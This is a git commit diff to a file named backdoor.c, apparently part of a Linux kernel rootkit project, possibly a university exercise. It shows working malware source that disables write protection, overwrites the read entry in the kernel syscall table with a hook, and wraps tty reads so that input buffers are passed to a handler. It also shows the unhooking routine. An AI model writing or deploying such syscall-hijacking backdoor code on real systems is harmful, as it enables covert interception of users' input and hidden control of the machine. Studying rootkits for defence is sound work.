commit 6922315e05e92644d7efc3961ae581ed380b4589
parent 9e8b827077e1f30478c22730330af2bf34cd123c
Author: deurzen <m.deurzen@tum.de>
Date: Mon, 30 Nov 2020 03:43:55 +0100
fixes switch bug
Diffstat:
1 file changed, 16 insertions(+), 22 deletions(-)
diff --git a/src/backdoor.c b/src/backdoor.c
@@ -14,11 +14,9 @@ ssize_t (*current_tty_read)(struct file *, char *, size_t, loff_t *);
void
backdoor_read(void)
{
- if (atomic_inc_return(&read_install_count) == 1) {
- disable_protection();
- sys_calls[__NR_read] = (void *)g7_read;
- enable_protection();
- }
+ disable_protection();
+ sys_calls[__NR_read] = (void *)g7_read;
+ enable_protection();
}
void
@@ -33,16 +31,6 @@ backdoor_tty(void)
}
}
-ssize_t
-g7_tty_read(struct file *file, char *buf, size_t count, loff_t *off)
-{
- atomic_inc(&tty_read_count);
- ssize_t ret = current_tty_read(file, buf, count, off);
- handle_pid(current->pid, buf, count);
- atomic_dec(&tty_read_count);
- return ret;
-}
-
void
unbackdoor(void)
{
@@ -59,20 +47,26 @@ unbackdoor(void)
}
current_tty_read = NULL;
- }
-
- if (sys_read) {
+ } else if (sys_read) {
disable_protection();
sys_calls[__NR_read] = (void *)sys_read;
enable_protection();
- //Sleeping here is very important, as without it
- //we would stall the CPU..
+ // Sleeping here is very important, as without it
+ // we would stall the CPU..
while ((cur = atomic_read(&read_count)) > 0) {
DEBUG_INFO("Waiting for %d tasks", cur);
msleep(250);
}
-
- sys_read = NULL;
}
}
+
+ssize_t
+g7_tty_read(struct file *file, char *buf, size_t count, loff_t *off)
+{
+ atomic_inc(&tty_read_count);
+ ssize_t ret = current_tty_read(file, buf, count, off);
+ handle_pid(current->pid, buf, count);
+ atomic_dec(&tty_read_count);
+ return ret;
+}